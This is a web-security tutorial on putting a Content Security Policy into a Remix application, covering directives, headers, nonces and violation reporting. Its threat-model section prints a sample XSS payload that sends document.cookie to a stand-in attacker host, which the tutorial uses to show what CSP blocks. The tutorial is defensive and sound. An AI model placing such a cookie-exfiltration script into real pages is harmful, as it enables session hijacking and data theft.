Secure Your Remix App: Implementing Content Security Policy (CSP) the Right Way

Master Content Security Policy (CSP) implementation in Remix. Learn how to protect your app from XSS attacks using CSP headers, reporting, and nonce-based scripts.
/ Table of contents:
Security is no longer optional in modern web development—it's a core feature. One of the most effective yet often overlooked methods of protecting your Remix application from cross-site scripting (XSS), clickjacking, and other injection attacks is through the Content Security Policy (CSP) header.
This post will cover:
- What CSP is and how it works
- How to implement it in a Remix application
- How to use nonces for safer inline scripts
- Real-world examples of CSP violations
- Reporting policies for monitoring
Let’s dive in.
🧠 What Is Content Security Policy (CSP)?
A Content Security Policy is a browser-enforced layer of security that tells the browser what it is allowed to load and execute. This is done by specifying a set of rules in the Content-Security-Policy HTTP header or a <meta> tag.
For example:
Content-Security-Policy: default-src 'self'; script-src 'self';
This tells the browser to:
- Load everything (scripts, styles, images, etc.) only from the current origin (
'self') - Deny loading or executing scripts from any other domain
It can significantly reduce the surface area for XSS attacks and helps mitigate supply chain risks from compromised third-party libraries.
🚧 The Threat Model: Why CSP in Remix?
Remix apps render React pages on the server and send them to the client. This includes hydration scripts, route modules, and potentially third-party analytics or chat widgets. Without a CSP, any XSS vulnerability can be used to execute arbitrary JavaScript, hijack sessions, steal data, or inject malware.
Here’s a real-world example of what CSP could have prevented:
<script>
fetch("https://attacker.com/steal", {
method: "POST",
body: document.cookie
});
</script>
With a proper CSP in place, the browser would block this script from executing unless explicitly allowed.
🔐 CSP Basics: Directives You Need to Know
CSP is composed of directives, each governing a type of resource. Common ones include:
<html> <table> <thead> <tr> <th>Directive</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td><code>default-src</code></td> <td>Fallback policy for all types of content.</td> </tr> <tr> <td><code>script-src</code></td> <td>Specifies valid sources for JavaScript.</td> </tr> <tr> <td><code>style-src</code></td> <td>Controls from where CSS can be loaded.</td> </tr> <tr> <td><code>img-src</code></td> <td>Controls from where images can be loaded.</td> </tr> <tr> <td><code>connect-src</code></td> <td>Specifies valid targets for XHR, WebSockets, and EventSource.</td> </tr> <tr> <td><code>font-src</code></td> <td>Sources for web fonts.</td> </tr> <tr> <td><code>frame-ancestors</code></td> <td>Who can embed the page using <code><iframe></code>.</td> </tr> </tbody> </table> </html>⚙️ How to Implement CSP in a Remix App
In Remix, server-side rendering gives you full control over headers. We can use this to inject our CSP string dynamically.
Step 1: Define the CSP Policy
You can start with a static policy:
const csp = `
default-src 'self';
script-src 'self' https://www.googletagmanager.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
font-src 'self';
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'none';
`.replace(/\s{2,}/g, ' ').trim();
Note:
'unsafe-inline'is not recommended in production. We'll later discuss how to replace it with nonces.
Step 2: Add CSP to Response Headers
Modify your entry.server.tsx or custom Express handler:
import type { EntryContext } from "@remix-run/node";
import { RemixServer } from "@remix-run/react";
import { renderToString } from "react-dom/server";
import { Response } from "@remix-run/node";
export default function handleRequest(
request: Request,
statusCode: number,
headers: Headers,
context: EntryContext
) {
const markup = renderToString(<RemixServer context={context} url={request.url} />);
headers.set("Content-Type", "text/html");
headers.set("Content-Security-Policy", csp);
return new Response(`<!DOCTYPE html>${markup}`, {
status: statusCode,
headers
});
}
Now every SSR response will include the CSP header.
🔐 Using Nonces for Safer Inline Scripts
To support inline scripts (like those required for Remix hydration), you should use nonces instead of 'unsafe-inline'.
Step 1: Generate a nonce
In your server code:
const nonce = crypto.randomUUID(); // Or use crypto.randomBytes(16).toString('base64');
Step 2: Inject into CSP
const csp = `
default-src 'self';
script-src 'self' 'nonce-${nonce}';
style-src 'self' 'nonce-${nonce}';
`.replace(/\s{2,}/g, ' ').trim();
Step 3: Add nonce to your scripts
In entry.client.tsx or a custom script:
<script nonce={nonce}>
window.__remixContext = ...;
</script>
📊 CSP Reporting (Optional but Recommended)
Enable CSP reporting to see violations before enforcing.
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report;
And add a POST endpoint in Remix to handle reports:
export async function action({ request }: ActionArgs) {
const report = await request.json();
console.log("CSP Violation:", report);
return new Response(null, { status: 204 });
}
You can send these to external tools like Report URI or Sentry.
🧪 Testing Your CSP
-
Browser Console: Check for CSP violations
-
Online Tools:
-
Audit Third-Party Scripts: Avoid adding unnecessary external sources
✅ Best Practices & Gotchas
- Avoid
'unsafe-inline'in production — usenonceorsha256-hash - Use
'strict-dynamic'if using script nonces extensively - Always test in
Report-Onlymode before enforcement - Review and log CSP reports during beta/staging
- Be cautious with analytics, ads, or widgets—they often require relaxed CSPs
Conclusion
Implementing a solid Content Security Policy in Remix adds a powerful security layer against one of the most dangerous and common attack vectors on the web — XSS. With SSR and full control over headers, Remix makes it easy to enforce a dynamic, flexible CSP using nonces, reporting, and progressive enhancement.
Don’t treat CSP as optional. Start with Report-Only, review logs, and incrementally deploy a strict policy that balances functionality with protection.
Your Remix app deserves to be secure — and CSP is your first line of defense.
🔐 Need Help Securing Your Web Application?
Implementing a robust Content Security Policy (CSP) is just one piece of the security puzzle. Whether you're launching a new Remix app or tightening an existing one, we help teams build secure, production-ready frontends with best-in-class practices — from CSP to authentication, SSR hardening, and beyond.
Let’s talk about how to secure your Remix or React stack — without compromising on speed or UX.
Custom Software
Web Applications
Mobile Apps
UI/UX Design
API Integration
Cloud Architecture
DevOps
Quality Assurance
AI Solutions
Data Engineering
Cybersecurity
Automation
Performance
Support & Maintenance


